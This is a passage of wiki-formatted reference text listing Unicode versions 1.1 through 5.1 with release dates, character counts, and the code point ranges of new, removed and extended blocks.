* Spacing iota below was moved in '''Greek''' from U+03F5 to U+037A.
* Point Varika was moved from '''Hebrew''' (U+05F5) to the new '''Alphabetic Presentation Forms''' block. (U+FB1E)
* Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)
*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 1 moved character, was added.

* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===
* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and letter jot (total 2 characters) were added to '''Greek and Coptic''' (U+0387 and U+03F3).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Precomposed characters and ligatures (total 56 characters) were added to '''Alphabetic Presentation Forms''' (U+FB00-U+FB06, U+FB13-U+FB17, U+FB1F-U+FB36, U+FB38-U+FB3C, U+FB3E, U+FB40-U+FB41, U+FB43-U+FB44 and U+FB46-U+FB4F).
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357 and U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF and U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F and U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01 and U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C and U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35 and U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD and U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691 and U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D and U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF and U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427 and U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''' (U+0750-U+077F), containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''' (U+1380-U+139F), containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''' (U+1980-U+19DF), containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''' (U+1A00-U+1A1F), containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''' (U+1D80-U+1DBF), containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''' (U+1DC0-U+1DFF), containing 4 additional diacritics, was added.
* '''Glagolitic''' (U+2C00-U+2C5F), containing 94 characters for the Glagolitic script, was added.
* '''Coptic''' (U+2C80-U+2CFF), containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''' (U+2D00-U+2D2F), containing 38 Nuskhuri letters, was added.
* '''Tifinagh''' (U+2D30-U+2D7F), containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''' (U+2D80-U+2DDF), containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''' (U+2E00-U+2E7F), containing 26 additional punctuation marks, was added.
* '''CJK Strokes''' (U+31C0-U+31CF), containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''' (U+A700-U+A71F), containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''' (U+A800-U+A82F), containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''' (U+FE10-U+FE1F), containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''' (U+10140-U+1018F), containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''' (U+103A0-U+103DF), containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''' (U+10A00-U+10A5F), containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''' (U+1D200-U+1D24F), containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''. (U+0237-U+0241)
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''. (U+0358-U+035C)
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''. (U+03FC-U+03FF)
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''. (U+04F6-U+04F7)
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''. (U+05A2 and U+05C5-U+05C7)
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''. (U+060B, U+061E, and U+0659-U+065E)
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''. (U+097D)
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''. (U+09CE)
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''. (U+0BB6 and U+0BE6)
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''. (U+0FD0-U+0FD1)
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''. (U+10F9-U+10FA and  U+10FC)
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''. (U+1207, U+1247, U+1287, U+12AF, U+12CF, U+12EF, U+130F, U+131F, U+1347, U+135F, and U+1360)
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''. (U+1D6C-U+1D7F)
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''. (U+2055-U+2056 and U+2058-U+205E)
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''. (U+2090-U+2094)
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''. (U+20B2-U+20B5)
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20EB)
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''. (U+213C and U+214C)
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23D1-U+23DB)
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''. (U+2618, U+267E-U+267F, U+2692-U+269C, and U+26A2-U+26B1)
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C0-U+27C6)
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B0E-U+2B1D)
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+327E)
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''. (U+9FA6-U+9FBB)
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA70-U+FAD9)
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''. (U+1D6A4-U+1D6A5)

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''' (U+07C0-U+07FF), containing 59 characters for the N'Ko script, was added.
* '''Balinese''' (U+1B00-U+1B7F), containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''' (U+2C60-U+2C7F), containing 17 letters for various languages, was added.
* '''Latin Extended-D''' (U+A720-U+A7FF), containing 2 characters for UPA, was added.
* '''Phags-pa''' (U+A840-U+A87F), containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''' (U+10900-U+1091F), containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''' (U+12000-U+123FF), containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''' (U+12400-U+1247F), containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''' (U+1D360-U+1D37F), containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''. (U+0242-U+024F)
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''. (U+037B-U+037D)
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''. (U+04CF and U+04FA-U+04FF)
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''. (U+0510-U+0513)
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''. (U+05BA)
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''. (U+097B-U+097C and U+097E-U+097F)
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''. (U+0CE2-U+0CE3 and U+0CF1-U+0CF2)
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DC4-U+1DCA)
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20EC-U+20EF)
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''. (U+214D-U+214E)
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''. (U+2184)
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''. (U+23DC-U+23E7)
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''. (U+26B2)
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C7-U+27CA)
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B14-U+2B1A and U+2B20-U+2B23)
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''. (U+A717-U+A71A)
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D7CA-U+1D7CB)

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''' (U+1B80-U+1BBF), containing 55 letters for Sundanese script, was added.
* '''Lepcha''' (U+1C00-U+1C4F), containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''' (U+1C50-U+1C7F), containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''' (U+2DE0-U+2DFF), containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''' (U+A500-U+A63F), containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''' (U+A640-U+A69F), containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''' (U+A880-U+A8DF), containing 81 letters for Saurashtra script, was added.
